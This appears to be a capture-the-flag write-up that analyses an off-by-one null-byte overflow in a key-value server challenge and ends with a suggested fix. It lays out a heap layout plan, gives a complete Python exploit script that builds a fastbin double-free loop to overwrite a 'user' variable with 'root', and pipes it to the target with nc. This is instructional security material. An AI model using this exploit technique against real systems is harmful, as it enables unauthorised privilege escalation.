Analysis of the bug
===================

The `key` field in the `entry` structure is `KEYSZ` bytes _including_ the
string terminator, but the `readkey()` function may read `KEYSZ` bytes
_besides_ the terminator. Therefore, the `strcpy()` in the `n` command
may write a null byte in the LSB of the `value` pointer.

Attack plan
===========

One possibility is to use the bug to create two entries that point to the
same chunk. By deleting both entries we then create a double-free bug.
This can be abused to overwrite the `user` variable with `root\0`.

Attack implementation
=====================

We need to create two entries:

- a "legit" entry with a `value` pointer aligned to 256 (so that its LSB is
  zero);
- an "alias" entry with a `value` pointer that differs from the legit one only
  in its LSB.

Even if ASLR is enabled, we know that the heap starts at a page boundary.
Therefore, we can arrange the following heap:

                +--------+--------+ 
      ????000   |        |  hdr 0 |  entries                 
                +--------+--------+ 
      ????010   |        |        |  [0]                                
                ~        ~        ~                                  
                |        |        |                                  
                +--------+--------+                                  
      ????0f0   |        |  hdr 1 |                                  
                +--------+--------+                                  
      ????100   |        |        |  [1]                             
                +--------+--------+                                  
      ????110   |        |  hdr 2 |                                  
                +--------+--------+                                  
      ????120   |        |        |  [2]                             
                +--------+--------+                                  
                |        |   ...                                                
                                                                        
The purpose of entry [0] is to re-align the heap, so that the address of the
header of the next chunk will end in 0xf0 and, therefore, the user pointer (as
stored in the `value` pointer in entry [1]) will end in 0x00. We can choose the
following size for entry [0]:

	0xf8 - 0x10 = 232.

Entry [1] will be our "legit" entry. The size of this entry must be small, so
that it will go into the fastbins when we will free it, and the next entry can
be sufficiently close. Entry [2] is our "alias" entry. If we have operated
correctly, its `value` address will differ from the "legit" `value` address
only in the LSB. By choosing a key of exactly 8 bytes for entry [2], the
program will overwrite the LSB of its `value` with 0, and now both entries [1]
and [2] will point to the same chunk. We can now free both entries, creating a
loop in a fastbin. From this point on it is a classic fastbin-loop
exploitation.

Since the program is not PIE, we can obtain the address of `user` from a copy
of the binary:
```sh
nm server | grep user
```
We obtain 0x407960. Now we write the following in an `xpl.py` file:
```python
import sys
import struct

user_addr = 0x407960

# create the first dummy entry [0]
o = b'n232\n'	   # new entry of size 232
o+= b'k0\n' 	   # a random key
o+= b'A' * 232	   # a random value
# create entry [1]
o+= b'n1\n'	   # the smallest possibile (other values will do as well)
o+= b'k1\n'	   # another random key
o+= b'B'	   # a random value
# create entry [2]
o+= b'n1\n'
o+= b'12345678\n'  # this key must be 8 bytes
o+= b'C'	   # a random value
# now free entry [1] and [2]
o+= b'dk1\n'
o+= b'd12345678\n'
# now we exploit the fastbin loop
# overwrite fd with &user-16
o+= b'n8\n'	# the size must sizeof(&user)
o+= b'k3\n'	# a random key
o+= struct.pack('Q', user_addr - 16)
# copy &user - 16 in the fastbin head
o+= b'n8\n'
o+= b'k4\n'
o+= b'D'*8
# overwrite user with 'root\0'
o+= b'n5\n'	# 5 is strlen("root") + 1
o+= b'k5\n'
o+= b'root\0'
# get the secret
o+= b'S'

sys.stdout.buffer.write(o)
```
Then we can obtain the flag with
```sh
PYTHONIOENCODING=iso-8859-1 python3 xpl.py | nc $HOST $PORT
```

Suggested fix
=============

Either the `key` field size in `entry` must be increased by 1, or `readkey`
should stop at `KEYSZ - 1`. Since `search()` uses `strncmp()` (and therefore
the string terminator is not needed), replacing `strcyp()` with `strncpy()`
is also an option.